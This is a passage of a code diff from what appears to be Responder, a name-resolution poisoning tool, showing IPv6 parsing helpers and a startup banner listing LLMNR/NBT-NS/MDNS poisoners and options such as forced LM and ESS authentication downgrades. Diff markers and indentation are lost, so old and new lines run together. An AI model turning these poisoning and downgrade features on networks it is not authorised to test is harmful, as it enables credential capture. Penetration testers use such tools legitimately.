cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] ==b'\x1c':
return False
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
return 'IPv6'
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True
return False
def IsIPv6(data):
if "::ffff:" in data:
return False
else:
return True
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
@@ -383,9 +487,10 @@ def StartupMessage():
print('')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + enabled)
print(' %-27s' % "NBT-NS" + enabled)
print(' %-27s' % "DNS/MDNS" + enabled)
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('')
@@ -422,14 +527,18 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
if settings.Config.ExternalIP:
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
if settings.Config.ExternalIP6:
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))